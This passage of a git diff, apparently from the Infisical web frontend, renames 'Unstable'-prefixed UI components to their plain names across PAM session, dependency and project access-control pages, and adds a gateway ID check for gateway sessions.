+            <p className="break-words whitespace-pre-wrap">{reason || "—"}</p>
+          </div>
+        </DetailItem>
+
         <DetailItem label="Created At">
           <p>{new Date(createdAt).toLocaleString()}</p>
         </DetailItem>
diff --git a/frontend/src/pages/pam/PamSessionsPage/components/PamSessionRow.tsx b/frontend/src/pages/pam/PamSessionsPage/components/PamSessionRow.tsx
index 8004fa0fa1a..f66377a9c59 100644
--- a/frontend/src/pages/pam/PamSessionsPage/components/PamSessionRow.tsx
+++ b/frontend/src/pages/pam/PamSessionsPage/components/PamSessionRow.tsx
@@ -66,11 +66,12 @@ export const PamSessionRow = ({ session, search, filteredLogs }: Props) => {
     actorEmail,
     createdAt,
     endedAt,
-    gatewayIdentityId
+    gatewayIdentityId,
+    gatewayId
   } = session;
 
   const isActive = status === PamSessionStatus.Active || status === PamSessionStatus.Starting;
-  const isGatewaySession = !!gatewayIdentityId;
+  const isGatewaySession = !!gatewayIdentityId || !!gatewayId;
 
   const { image, name: resourceTypeName } = PAM_RESOURCE_TYPE_MAP[resourceType];
 
diff --git a/frontend/src/pages/pam/components/PamDependenciesTable.tsx b/frontend/src/pages/pam/components/PamDependenciesTable.tsx
index f0ee5f295e6..bfc2fdb418f 100644
--- a/frontend/src/pages/pam/components/PamDependenciesTable.tsx
+++ b/frontend/src/pages/pam/components/PamDependenciesTable.tsx
@@ -12,23 +12,23 @@ import { createNotification } from "@app/components/notifications";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Badge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import type { TPamAccountDependency } from "@app/hooks/api/pam";
 import { useDeletePamAccountDependency, useTogglePamAccountDependency } from "@app/hooks/api/pam";
@@ -100,30 +100,30 @@ const DependencyRow = ({
 
   return (
     <>
-      <UnstableTableRow className="group cursor-pointer" onClick={() => setIsExpanded(!isExpanded)}>
-        <UnstableTableCell className="w-5">
+      <TableRow className="group cursor-pointer" onClick={() => setIsExpanded(!isExpanded)}>
+        <TableCell className="w-5">
           {isExpanded ? (
             <ChevronDownIcon className="size-4 text-muted" />
           ) : (
             <ChevronRightIcon className="size-4 text-muted" />
           )}
-        </UnstableTableCell>
-        <UnstableTableCell className="font-medium">{dep.displayName || dep.name}</UnstableTableCell>
-        <UnstableTableCell>
+        </TableCell>
+        <TableCell className="font-medium">{dep.displayName || dep.name}</TableCell>
+        <TableCell>
           <Badge variant="info">
             {DEPENDENCY_TYPE_LABEL[dep.dependencyType] || dep.dependencyType}
           </Badge>
-        </UnstableTableCell>
-        <UnstableTableCell className="text-muted">{contextColumn.value ?? "-"}</UnstableTableCell>
-        <UnstableTableCell className="text-muted">{dep.state ?? "-"}</UnstableTableCell>
-        <UnstableTableCell>
+        </TableCell>
+        <TableCell className="text-muted">{contextColumn.value ?? "-"}</TableCell>
+        <TableCell className="text-muted">{dep.state ?? "-"}</TableCell>
+        <TableCell>
           {dep.isRotationSyncEnabled ? (
             <Badge variant="success">Enabled</Badge>
           ) : (
             <Badge variant="neutral">Disabled</Badge>
           )}
-        </UnstableTableCell>
-        <UnstableTableCell>
+        </TableCell>
+        <TableCell>
           <div className="flex items-center gap-2">
             <span className="text-sm text-muted">
               {dep.lastSyncedAt
@@ -153,16 +153,16 @@ const DependencyRow = ({
               </Badge>
             )}
           </div>
-        </UnstableTableCell>
-        <UnstableTableCell>
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
-              <UnstableIconButton variant="ghost" size="xs" onClick={(e) => e.stopPropagation()}>
+        </TableCell>
+        <TableCell>
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <IconButton variant="ghost" size="xs" onClick={(e) => e.stopPropagation()}>
                 <EllipsisVerticalIcon />
-              </UnstableIconButton>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent sideOffset={2} align="end">
-              <UnstableDropdownMenuItem
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent sideOffset={2} align="end">
+              <DropdownMenuItem
                 onClick={(e) => {
                   e.stopPropagation();
                   toggleMutation.mutate({
@@ -173,8 +173,8 @@ const DependencyRow = ({
                 }}
               >
                 {dep.isRotationSyncEnabled ? "Disable Rotation Sync" : "Enable Rotation Sync"}
-              </UnstableDropdownMenuItem>
-              <UnstableDropdownMenuItem
+              </DropdownMenuItem>
+              <DropdownMenuItem
                 variant="danger"
                 onClick={(e) => {
                   e.stopPropagation();
@@ -183,14 +183,14 @@ const DependencyRow = ({
               >
                 <TrashIcon className="size-4" />
                 Delete
-              </UnstableDropdownMenuItem>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
-        </UnstableTableCell>
-      </UnstableTableRow>
+              </DropdownMenuItem>
+            </DropdownMenuContent>
+          </DropdownMenu>
+        </TableCell>
+      </TableRow>
       {isExpanded && (
-        <UnstableTableRow>
-          <UnstableTableCell colSpan={colCount} className="bg-mineshaft-700/30 px-6 py-4">
+        <TableRow>
+          <TableCell colSpan={colCount} className="bg-mineshaft-700/30 px-6 py-4">
             <div className="grid grid-cols-2 gap-x-8 gap-y-2 text-sm">
               <div className="flex justify-between border-b border-mineshaft-600 py-1">
                 <span className="text-muted">Name</span>
@@ -221,8 +221,8 @@ const DependencyRow = ({
                 </div>
               ))}
             </div>
-          </UnstableTableCell>
-        </UnstableTableRow>
+          </TableCell>
+        </TableRow>
       )}
     </>
   );
@@ -263,15 +263,15 @@ export const PamDependenciesTable = ({
 
   return (
     <>
-      <UnstableTable>
-        <UnstableTableHeader>
-          <UnstableTableRow>
-            <UnstableTableHead className="w-5" />
-            <UnstableTableHead>Name</UnstableTableHead>
-            <UnstableTableHead>Type</UnstableTableHead>
-            <UnstableTableHead>{contextColumnLabel}</UnstableTableHead>
-            <UnstableTableHead>State</UnstableTableHead>
-            <UnstableTableHead>
+      <Table>
+        <TableHeader>
+          <TableRow>
+            <TableHead className="w-5" />
+            <TableHead>Name</TableHead>
+            <TableHead>Type</TableHead>
+            <TableHead>{contextColumnLabel}</TableHead>
+            <TableHead>State</TableHead>
+            <TableHead>
               <div className="flex items-center gap-1">
                 Rotation Sync
                 <Tooltip>
@@ -284,29 +284,29 @@ export const PamDependenciesTable = ({
                   </TooltipContent>
                 </Tooltip>
               </div>
-            </UnstableTableHead>
-            <UnstableTableHead>Last Synced</UnstableTableHead>
-            <UnstableTableHead className="w-5" />
-          </UnstableTableRow>
-        </UnstableTableHeader>
-        <UnstableTableBody>
+            </TableHead>
+            <TableHead>Last Synced</TableHead>
+            <TableHead className="w-5" />
+          </TableRow>
+        </TableHeader>
+        <TableBody>
           {isPending && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={COL_COUNT} className="text-center text-muted">
+            <TableRow>
+              <TableCell colSpan={COL_COUNT} className="text-center text-muted">
                 Loading dependencies...
-              </UnstableTableCell>
-            </UnstableTableRow>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending && (!dependencies || dependencies.length === 0) && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={COL_COUNT}>
-                <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                  <UnstableEmptyHeader>
-                    <UnstableEmptyTitle>No dependencies discovered</UnstableEmptyTitle>
-                  </UnstableEmptyHeader>
-                </UnstableEmpty>
-              </UnstableTableCell>
-            </UnstableTableRow>
+            <TableRow>
+              <TableCell colSpan={COL_COUNT}>
+                <Empty className="border-0 bg-transparent py-8 shadow-none">
+                  <EmptyHeader>
+                    <EmptyTitle>No dependencies discovered</EmptyTitle>
+                  </EmptyHeader>
+                </Empty>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending &&
             dependencies?.map((dep) => (
@@ -322,8 +322,8 @@ export const PamDependenciesTable = ({
                 onDeleteClick={setDeleteTarget}
               />
             ))}
-        </UnstableTableBody>
-      </UnstableTable>
+        </TableBody>
+      </Table>
 
       <DeleteActionModal
         isOpen={!!deleteTarget}
diff --git a/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupRoles.tsx b/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupRoles.tsx
index eaaf505397c..7e60ecf61f8 100644
--- a/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupRoles.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupRoles.tsx
@@ -17,14 +17,14 @@ import {
   CommandInput,
   CommandItem,
   CommandList,
+  IconButton,
+  Input,
   Popover,
   PopoverContent,
   PopoverTrigger,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import { cn } from "@app/components/v3/utils";
 import {
@@ -89,14 +89,14 @@ const IdentityTemporaryRoleForm = ({
       <Tooltip>
         <TooltipTrigger asChild>
           <PopoverTrigger asChild>
-            <UnstableIconButton
+            <IconButton
               // eslint-disable-next-line no-nested-ternary
               variant={isExpired ? "danger" : isTemporaryFieldValue ? "warning" : "ghost"}
               size="xs"
               onClick={(e) => e.stopPropagation()}
             >
               <ClockIcon />
-            </UnstableIconButton>
+            </IconButton>
           </PopoverTrigger>
         </TooltipTrigger>
         <TooltipContent>{isExpired ? "Access Expired" : "Grant Temporary Access"}</TooltipContent>
@@ -132,7 +132,7 @@ const IdentityTemporaryRoleForm = ({
                   </span>
                 }
               >
-                <UnstableInput {...field} isError={Boolean(error?.message)} />
+                <Input {...field} isError={Boolean(error?.message)} />
               </FormControl>
             )}
           />
@@ -508,9 +508,9 @@ export const GroupRoles = ({
       {!isEditDisabled && (
         <Popover open={isEditOpen} onOpenChange={setIsEditOpen}>
           <PopoverTrigger asChild>
-            <UnstableIconButton variant="ghost" size="xs" onClick={(e) => e.stopPropagation()}>
+            <IconButton variant="ghost" size="xs" onClick={(e) => e.stopPropagation()}>
               <EditIcon />
-            </UnstableIconButton>
+            </IconButton>
           </PopoverTrigger>
           <PopoverContent side="right" className="w-72 p-0" onClick={(e) => e.stopPropagation()}>
             {isRolesLoading ? (
diff --git a/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsSection.tsx b/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsSection.tsx
index d68bb97aa10..b7fa484355a 100644
--- a/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsSection.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsSection.tsx
@@ -6,13 +6,13 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  DocumentationLinkBadge,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -65,14 +65,14 @@ export const GroupsSection = () => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             Project Groups
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/groups#user-groups" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>Add and manage project groups</UnstableCardDescription>
-          <UnstableCardAction>
+          </CardTitle>
+          <CardDescription>Add and manage project groups</CardDescription>
+          <CardAction>
             <ProjectPermissionCan
               I={ProjectPermissionActions.Create}
               a={ProjectPermissionSub.Groups}
@@ -88,13 +88,13 @@ export const GroupsSection = () => {
                 </Button>
               )}
             </ProjectPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <GroupModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
           <GroupTable handlePopUpOpen={handlePopUpOpen} />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <DeleteActionModal
         isOpen={popUp.deleteGroup.isOpen}
         title={`Are you sure you want to remove the group ${
diff --git a/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsTable.tsx b/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsTable.tsx
index d04c29923ba..e8cf481fbbe 100644
--- a/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsTable.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/GroupsTab/components/GroupsSection/GroupsTable.tsx
@@ -6,26 +6,26 @@ import { twMerge } from "tailwind-merge";
 
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Skeleton,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -128,22 +128,22 @@ export const GroupTable = ({ handlePopUpOpen }: Props) => {
         </InputGroup>
       </div>
       {!isPending && !filteredGroupMemberships?.length ? (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {search ? "No project groups match search" : "No project groups found"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {search ? "Adjust your search criteria." : "Add a group to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       ) : (
         <>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead className="w-1/3" onClick={toggleOrderDirection}>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className="w-1/3" onClick={toggleOrderDirection}>
                   Name
                   <ChevronDownIcon
                     className={twMerge(
@@ -151,29 +151,29 @@ export const GroupTable = ({ handlePopUpOpen }: Props) => {
                       orderDirection === OrderByDirection.DESC && "rotate-180"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead>Project Role</UnstableTableHead>
-                <UnstableTableHead>Added on</UnstableTableHead>
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                </TableHead>
+                <TableHead>Project Role</TableHead>
+                <TableHead>Added on</TableHead>
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {isPending &&
                 Array.from({ length: 10 }).map((_, i) => (
-                  <UnstableTableRow key={`skeleton-${i + 1}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
               {!isPending &&
                 filteredGroupMembershipsPage.map(
@@ -181,7 +181,7 @@ export const GroupTable = ({ handlePopUpOpen }: Props) => {
                     const isLinkedGroup =
                       groupOrgId != null && currentOrg != null && groupOrgId !== currentOrg.id;
                     return (
-                      <UnstableTableRow
+                      <TableRow
                         className="group cursor-pointer"
                         key={`st-v3-${id}`}
                         role="button"
@@ -209,8 +209,8 @@ export const GroupTable = ({ handlePopUpOpen }: Props) => {
                           })
                         }
                       >
-                        <UnstableTableCell isTruncatable>{name}</UnstableTableCell>
-                        <UnstableTableCell>
+                        <TableCell isTruncatable>{name}</TableCell>
+                        <TableCell>
                           <ProjectPermissionCan
                             I={ProjectPermissionActions.Edit}
                             a={ProjectPermissionSub.Groups}
@@ -224,29 +224,27 @@ export const GroupTable = ({ handlePopUpOpen }: Props) => {
                               />
                             )}
                           </ProjectPermissionCan>
-                        </UnstableTableCell>
-                        <UnstableTableCell>
-                          {format(new Date(createdAt), "MMM d, yyyy")}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton
+                        </TableCell>
+                        <TableCell>{format(new Date(createdAt), "MMM d, yyyy")}</TableCell>
+                        <TableCell>
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton
                                 variant="ghost"
                                 size="xs"
                                 onClick={(e) => e.stopPropagation()}
                               >
                                 <MoreHorizontalIcon />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent sideOffset={2} align="end">
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent sideOffset={2} align="end">
                               {!isLinkedGroup && (
                                 <ProjectPermissionCan
                                   I={ProjectPermissionActions.Delete}
                                   a={ProjectPermissionSub.Groups}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       variant="danger"
                                       isDisabled={!isAllowed}
                                       onClick={(e) => {
@@ -259,21 +257,21 @@ export const GroupTable = ({ handlePopUpOpen }: Props) => {
                                     >
                                       <UserRoundXIcon />
                                       Remove Group From Project
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </ProjectPermissionCan>
                               )}
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </TableCell>
+                      </TableRow>
                     );
                   }
                 )}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
           {Boolean(filteredGroupMemberships.length) && (
-            <UnstablePagination
+            <Pagination
               count={filteredGroupMemberships.length}
               page={page}
               perPage={perPage}
diff --git a/frontend/src/pages/project/AccessControlPage/components/IdentityTab/IdentityTab.tsx b/frontend/src/pages/project/AccessControlPage/components/IdentityTab/IdentityTab.tsx
index 3e27063f210..61f5c063b72 100644
--- a/frontend/src/pages/project/AccessControlPage/components/IdentityTab/IdentityTab.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/IdentityTab/IdentityTab.tsx
@@ -22,44 +22,44 @@ import { Blur } from "@app/components/v2/Blur";
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   DocumentationLinkBadge,
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
   OrgIcon,
+  Pagination,
   Popover,
   PopoverContent,
   PopoverTrigger,
   ProjectIcon,
   Skeleton,
   SubOrgIcon,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -222,16 +222,14 @@ export const IdentityTab = withProjectPermission(
 
     return (
       <>
-        <UnstableCard>
-          <UnstableCardHeader>
-            <UnstableCardTitle>
+        <Card>
+          <CardHeader>
+            <CardTitle>
               Project Machine Identities
               <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/identities/machine-identities" />
-            </UnstableCardTitle>
-            <UnstableCardDescription>
-              Create and manage project machine identities
-            </UnstableCardDescription>
-            <UnstableCardAction>
+            </CardTitle>
+            <CardDescription>Create and manage project machine identities</CardDescription>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Create}
                 a={ProjectPermissionSub.Identity}
@@ -247,9 +245,9 @@ export const IdentityTab = withProjectPermission(
                   </Button>
                 )}
               </ProjectPermissionCan>
-            </UnstableCardAction>
-          </UnstableCardHeader>
-          <UnstableCardContent>
+            </CardAction>
+          </CardHeader>
+          <CardContent>
             <div>
               <div className="mb-4 flex gap-2">
                 <InputGroup className="flex-1">
@@ -262,16 +260,16 @@ export const IdentityTab = withProjectPermission(
                     placeholder="Search project machine identities by name..."
                   />
                 </InputGroup>
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
-                    <UnstableIconButton variant={isTableFiltered ? "project" : "outline"}>
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
+                    <IconButton variant={isTableFiltered ? "project" : "outline"}>
                       <FilterIcon />
-                    </UnstableIconButton>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent align="end">
-                    <UnstableDropdownMenuLabel>Filter by Project Role</UnstableDropdownMenuLabel>
+                    </IconButton>
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent align="end">
+                    <DropdownMenuLabel>Filter by Project Role</DropdownMenuLabel>
                     {projectRoles?.map(({ id, slug, name }) => (
-                      <UnstableDropdownMenuCheckboxItem
+                      <DropdownMenuCheckboxItem
                         key={id}
                         checked={filterRoles.includes(slug)}
                         onClick={(e) => {
@@ -280,32 +278,32 @@ export const IdentityTab = withProjectPermission(
                         }}
                       >
                         {name}
-                      </UnstableDropdownMenuCheckboxItem>
+                      </DropdownMenuCheckboxItem>
                     ))}
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
+                  </DropdownMenuContent>
+                </DropdownMenu>
               </div>
               {!isPending && data && data.totalCount === 0 ? (
-                <UnstableEmpty className="border">
-                  <UnstableEmptyHeader>
-                    <UnstableEmptyTitle>
+                <Empty className="border">
+                  <EmptyHeader>
+                    <EmptyTitle>
                       {debouncedSearch.trim().length > 0 || isTableFiltered
                         ? "No machine identities match search"
                         : "No machine identities have been added to this project"}
-                    </UnstableEmptyTitle>
-                    <UnstableEmptyDescription>
+                    </EmptyTitle>
+                    <EmptyDescription>
                       {debouncedSearch.trim().length > 0 || isTableFiltered
                         ? "Adjust your search or filter criteria."
                         : "Add a machine identity to get started."}
-                    </UnstableEmptyDescription>
-                  </UnstableEmptyHeader>
-                </UnstableEmpty>
+                    </EmptyDescription>
+                  </EmptyHeader>
+                </Empty>
               ) : (
                 <>
-                  <UnstableTable>
-                    <UnstableTableHeader>
-                      <UnstableTableRow>
-                        <UnstableTableHead
+                  <Table>
+                    <TableHeader>
+                      <TableRow>
+                        <TableHead
                           className="w-1/3"
                           onClick={() => handleSort(ProjectIdentityOrderBy.Name)}
                         >
@@ -319,31 +317,31 @@ export const IdentityTab = withProjectPermission(
                               orderBy !== ProjectIdentityOrderBy.Name && "opacity-30"
                             )}
                           />
-                        </UnstableTableHead>
-                        <UnstableTableHead className="w-1/3">Project Role</UnstableTableHead>
-                        <UnstableTableHead>Managed by</UnstableTableHead>
-                        <UnstableTableHead className="w-5">
+                        </TableHead>
+                        <TableHead className="w-1/3">Project Role</TableHead>
+                        <TableHead>Managed by</TableHead>
+                        <TableHead className="w-5">
                           {isFetching ? <Spinner size="xs" /> : null}
-                        </UnstableTableHead>
-                      </UnstableTableRow>
-                    </UnstableTableHeader>
-                    <UnstableTableBody>
+                        </TableHead>
+                      </TableRow>
+                    </TableHeader>
+                    <TableBody>
                       {isPending &&
                         Array.from({ length: 10 }).map((_, i) => (
-                          <UnstableTableRow key={`skeleton-${i + 1}`}>
-                            <UnstableTableCell>
+                          <TableRow key={`skeleton-${i + 1}`}>
+                            <TableCell>
                               <Skeleton className="h-4 w-full" />
-                            </UnstableTableCell>
-                            <UnstableTableCell>
+                            </TableCell>
+                            <TableCell>
                               <Skeleton className="h-4 w-full" />
-                            </UnstableTableCell>
-                            <UnstableTableCell>
+                            </TableCell>
+                            <TableCell>
                               <Skeleton className="h-4 w-full" />
-                            </UnstableTableCell>
-                            <UnstableTableCell>
+                            </TableCell>
+                            <TableCell>
                               <Skeleton className="h-4 w-4" />
-                            </UnstableTableCell>
-                          </UnstableTableRow>
+                            </TableCell>
+                          </TableRow>
                         ))}
                       {!isPending &&
                         data &&
@@ -359,7 +357,7 @@ export const IdentityTab = withProjectPermission(
                             roles
                           } = identityMember;
                           return (
-                            <UnstableTableRow
+                            <TableRow
                               className="group cursor-pointer"
                               key={`st-v3-${id}`}
                               role="button"
@@ -387,8 +385,8 @@ export const IdentityTab = withProjectPermission(
                                 })
                               }
                             >
-                              <UnstableTableCell isTruncatable>{name}</UnstableTableCell>
-                              <UnstableTableCell>
+                              <TableCell isTruncatable>{name}</TableCell>
+                              <TableCell>
                                 <div className="flex items-center gap-1.5">
                                   {roles
                                     .slice(0, MAX_ROLES_TO_BE_SHOWN_IN_TABLE)
@@ -497,8 +495,8 @@ export const IdentityTab = withProjectPermission(
                                     </Popover>
                                   )}
                                 </div>
-                              </UnstableTableCell>
-                              <UnstableTableCell>
+                              </TableCell>
+                              <TableCell>
                                 <Badge
                                   variant={
                                     // eslint-disable-next-line no-nested-ternary
@@ -527,19 +525,19 @@ export const IdentityTab = withProjectPermission(
                                     </>
                                   )}
                                 </Badge>
-                              </UnstableTableCell>
-                              <UnstableTableCell>
-                                <UnstableDropdownMenu>
-                                  <UnstableDropdownMenuTrigger asChild>
-                                    <UnstableIconButton
+                              </TableCell>
+                              <TableCell>
+                                <DropdownMenu>
+                                  <DropdownMenuTrigger asChild>
+                                    <IconButton
                                       variant="ghost"
                                       size="xs"
                                       onClick={(e) => e.stopPropagation()}
                                     >
                                       <MoreHorizontalIcon />
-                                    </UnstableIconButton>
-                                  </UnstableDropdownMenuTrigger>
-                                  <UnstableDropdownMenuContent sideOffset={2} align="end">
+                                    </IconButton>
+                                  </DropdownMenuTrigger>
+                                  <DropdownMenuContent sideOffset={2} align="end">
                                     <ProjectPermissionCan
                                       I={ProjectPermissionActions.Delete}
                                       a={subject(ProjectPermissionSub.Identity, {
@@ -547,7 +545,7 @@ export const IdentityTab = withProjectPermission(
                                       })}
                                     >
                                       {(isAllowed) => (
-                                        <UnstableDropdownMenuItem
+                                        <DropdownMenuItem
                                           variant="danger"
                                           isDisabled={!isAllowed}
                                           onClick={(evt) => {
@@ -564,33 +562,33 @@ export const IdentityTab = withProjectPermission(
                                           {identityProjectId
                                             ? "Delete Machine Identity"
                                             : "Remove From Project"}
-                                        </UnstableDropdownMenuItem>
+                                        </DropdownMenuItem>
                                       )}
                                     </ProjectPermissionCan>
-                                  </UnstableDropdownMenuContent>
-                                </UnstableDropdownMenu>
-                              </UnstableTableCell>
-                            </UnstableTableRow>
+                                  </DropdownMenuContent>
+                                </DropdownMenu>
+                              </TableCell>
+                            </TableRow>
                           );
                         })}
                       {!isPending &&
                         data &&
                         data?.totalCount !== 0 &&
                         Array.from(Array(noAccessIdentityCount)).map((_e, i) => (
-                          <UnstableTableRow key={`hid-identity-${i + 1}`}>
-                            <UnstableTableCell>No Access</UnstableTableCell>
-                            <UnstableTableCell colSpan={3}>
+                          <TableRow key={`hid-identity-${i + 1}`}>
+                            <TableCell>No Access</TableCell>
+                            <TableCell colSpan={3}>
                               <Blur
                                 className="w-min"
                                 tooltipText="You do not have permission to view this machine identity."
                               />
-                            </UnstableTableCell>
-                          </UnstableTableRow>
+                            </TableCell>
+                          </TableRow>
                         ))}
-                    </UnstableTableBody>
-                  </UnstableTable>
+                    </TableBody>
+                  </Table>
                   {!isPending && data && totalCount > 0 && (
-                    <UnstablePagination
+                    <Pagination
                       count={totalCount}
                       page={page}
                       perPage={perPage}
